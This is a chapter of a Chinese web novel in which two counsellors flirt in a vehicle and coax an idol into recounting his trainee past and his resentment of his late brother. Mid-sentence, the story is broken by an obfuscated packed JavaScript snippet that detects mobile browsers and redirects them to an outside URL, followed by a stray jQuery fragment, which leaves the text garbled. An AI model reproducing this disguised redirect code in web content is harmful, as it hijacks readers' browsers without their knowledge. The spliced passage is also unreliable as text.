90. 梦想
作品:《众星陨落时》 车内空间本来宽敞,能容纳挺多人和物件。但江岑秦暮一把文书资料摊开,就几乎铺满了所有能放置的地方,多宽敞都不宽敞了。
江岑秦暮形成两个人的流水线,一人手写增补、另一人递资料口述,相互配合起来依旧默契。
他们克服了地方的限制,游刃有余地推进着工作任务。
秦暮关照方案情况,也更关切江岑的状态——留意到光线不够,他缓缓调亮了载具内部的暖灯。江岑写累的时候,会下意识抻拦腰,他早一步帮忙挡住会磕碰到的座椅铁角,而后又忍痛,把下一份资料及时递送。
江岑太投入了,没发现秦暮的异常。不过,即使发现了也不会怎样,秦暮早备好了“没事没事”的扯谎腹稿。
受社会实践启发而增补的内容,实际上并不很多。江岑已经很老练,用极快的速度料理完毕,又多次检查确保了万无一失。终于闲下来的时候,她窝在秦暮怀里,喜欢依偎着闲聊。
闲聊的起点很遥远,无心也有心。
她问:“秦暮,你当初……我问的是自考考上燕洋大学之前,是怎么定下研习心理学的志向的?”
自考的选择有很多,按就业难易程度排序,心理学应该往后靠一靠。
秦暮的回复几乎不假思索:“那时候的想法很单纯,就是想成为和储老师一样厉害的人。”
“那考上之后呢?”江岑兴致涌起,觉得秦暮的过去现在将来都很有趣,“光靠濡慕别人,哪里能坚持那么久?”
秦暮心底肯定有着更深层次的追求与内驱力。
将下巴轻抵在江岑发间,秦暮贪恋地摩挲:“原本是爱屋及乌才喜欢上心理学,后来学着学着、学进去了,就把新知识新科研化成了自己的追求。除此之外,三两分恐惧在作祟吧……”
“你恐惧什么?”听得江岑一激灵,回头担心,撞进秦暮深怀,好想好想确认清楚他怀底的真实想法。
秦暮松弛着笑,现在的他渐渐不把恐惧当回事了:“储老师老了,也总会有难再帮助我的那一天。我该为自己筑起心理防御的安全墙,得渐渐走出储老师的庇护才行。”
江岑了然,又躺,这回躺得更舒适:“秦老师很棒啊,渐渐走出来——也为很多人、更多人筑起了安全墙。”
“那你呢?”秦暮说完自己的心路,想索听江岑的初衷。
他们该感谢命运虽有参差,但最终把有缘人有情人汇到了同路。
江岑懒懒散散,吐字里有轻飘飘的抱怨:“哼哼。爸妈环游世界浪漫去了,撂得我孤零零一个人。那时候我想,不学心理学自救的话,就得变成孤独患者了。纯纯是为了自己研习的——很自私吧?”
“才不会~”秦暮搂住她,让江岑真实感到有人理解陪伴的暖意,“江老师也完成了‘从自己到世界’的位面转变,这很了不起。”
“现在的你,还会觉得孤零零吗?”
“唔。你再靠近一些,再抱紧一些。”
“是这样吗?”
“是这样。”
“难道不会腻?”
“才不会!还要央你伴随我,永永远远、长长久久,一直下去。”
秦暮频频反问,存心故意,他心底下实际闷着乐呢。
巴不得和江岑的关系永永远远、长长久久,一直下去。
忽然在意江岑牵起这个话题的原因,秦暮问:“你怎么无端地提到‘梦想志向’了?是什么困扰到了你吗?”
江岑没有回避,直说所想:“是好奇阿昼的内驱力。想知道是什么支撑着他,度过了一年多几乎毫无希望的雪藏时光。”
“等他回来,问就是了。”不是烦恼就好。江岑所考虑的问题,其实秦暮也好奇。
江岑有贼心没贼胆,兴奋又心绪:“会太冒昧吧?这算是全寰球最顶级的八卦吧!”
秦暮也乐,因江岑的跳脱乐得更多:“唔!八不八卦?不好定义。总之,公权私用是肯定的。”
冠冕堂皇的罪名戴着、实在不舒坦,直把江岑骇得吐舌头。
车内的光线偏暖,两人又揽搂着,更让无形气氛愈更升温。
他们一时忘却了外头是怎样的天寒地冻,也疏忽了时间流逝的速度。
“叩叩——”
载具外响起礼貌性地敲示声,是于笑昼回来了。
江岑秦暮仓促中拾掇,一个脸臊得通红挣开怀抱、一个恋恋难舍撒开手臂。明明没做出格的事……但感觉上,挺怪异的。
生怕外头的人误会,江岑赶忙说“进”。不经意间,急急忙忙把资料纸拿倒了。
刚开始,于笑昼还没反应过来,他面上明媚、心情很好,应该是刚刚结束的社会实践成效不错。
秦暮也和江岑一样,在造作样子,一边“郑重其事”地询问细节,又一边鼓励于笑昼“辛苦了辛苦了”。
于笑昼很谦逊,把功劳推给旁人,只说:“是学生们配合,是学校提前准备做得好。我不过是借机会露了面,试图推了推他们往前走而已。”
说完之后,回问一直留在车内的两位咨询师:“解决方案修订得怎么样了?”
当然得说好话。江岑手把着那摞倒着的资料纸,豪言壮语:“很顺利!没问题!前景很有希望!”
“你不休息了吗?”
“不了,今日所有活动都结束了。”
于笑昼答完之后,眸光落点聚焦在资料纸的倒转方向上,这位偶像巨星才意识到——原来自个儿是当了好大一盏电灯泡。
有些难为情,可话已经放出去了。
再反悔、再启动械化装置故意睡去,好像也不对。
“……”
偶像的愣怔太明显了,江岑在找别的话题。
没闲暇在多考量“是不是顶级八卦”,她好奇、所以问:“阿昼,我们想多了解一些关于你练习生时期的往事。”
于笑昼出于职业习惯保密,却没有完全拒绝:“是新解决方案所需要的吗?”
江岑心虚。
其实于笑昼是愿意说的,只是有些别的忧虑:“关于出道前的履历,如果曝光公布,我害怕舆论影响不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413201|194528||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
妥当。”
就在江岑打算顺坡而下,放弃这个问题的时候,秦暮接过话茬了。后者居然一反常态,在旁边作势帮腔:“的确是解决方案需要,我们一致认为,偶像的影响力与集体心理恢复效率呈积极相关的趋势。”
术语连珠蹦,在成功骗到于笑昼之前,已经把江岑唬得一惊一乍了。在视野盲区,秦暮按住江岑躁动的手,汇演出一台拙劣的戏——套人家八卦。
于笑昼信任秦暮的程度有十分,再不犹豫:“练习生时期……回忆起来,也没什么特别的,只不过比起寻常学生,多了要练习艺人技能的课程。好比,唱歌跳舞、仪态演技,唔,再特别些的细节,无外乎是对着镜头怎么笑、怎么眨眼、怎么摆姿势。”
“你和哥哥于笑夜学的内容,有不同吗?”
问得太尖锐了,于笑昼回忆的时候略显怅然:“没有不同。不夸张、也不虚伪地说,那时候,我比哥哥各方面的技能成绩都优秀。但是,哥哥有个更讨喜的优点——”
江岑急问:“他哪一点比你好呢?”
于笑昼说:“他更八面玲珑,更懂公关手段。当时很多我不明白、我不屑于的事务,他都能处理得更好。”
“观察社会实践活动中的你,”江岑轻轻安抚,“这些方面也并不弱的。”
于笑昼却摇头,无奈失笑:“我紧张的时候,就是把眼前人当萝卜墩。眼神有光和没光的模样,是很明显的。千百度的抉择或许始终是对的,于笑夜才是真正的天生偶像。”
江岑还想鼓励,却被秦暮中阻。
于笑昼沉浸在分享出的往事里,且听他说完。
“我各项技能的优势很快被逆转,当然觉得不公平,但没办法,只能承认现实。我有怨过的,很怨很怨!那怨气蓬勃而出,像恶魔挣张的罪恶指爪,拉着我下坠!消沉!冷漠!敌视!我怨千百度最终选择了哥哥一人出道,我怨他们把我所有的努力全部付诸东流!即使于笑夜把出道舞台给了我,又如何?我克制不住、我消除不了,我还是怨!”
不甘心在跃动,从内心深处发出的征讨声,在载具空间里回荡。
于笑昼的怨气尽然撒出,可尾音里,又捎带着无穷无尽的悔意:“哥哥行程忙,没怎么联系我。饶是联系我的时候,电话也多半被我赌气挂断了。”
从来没设想过,有一天,电话的另一端竟没有人再能聆听:“说来神奇,哥哥死了之后,我的怒、我的恨居然烟消云散了。我这样邪恶的人,面上笑、心里祟,本来不该做偶像吧?”
江岑秦暮都不这样认为,他们一先一后续话,鼓励于笑昼振作:“不许自责,你比任何人都要好。正如你所坚持的,于笑夜是于笑夜、于笑昼是于笑昼。你也是独一无二的‘明星’。”
“没事儿!真的!”于笑昼当然不会放弃,他每一个被雪藏的日日夜夜,坚持练习的背后,当然存着熊熊燃着的燥血。他破开苦闷和迷茫,用无边力量冲刷罪恶感,挺直不屈于命运安排的脊梁,“以前是于笑夜带着我的梦想,现在,就换成我带着他的梦想前行吧。”

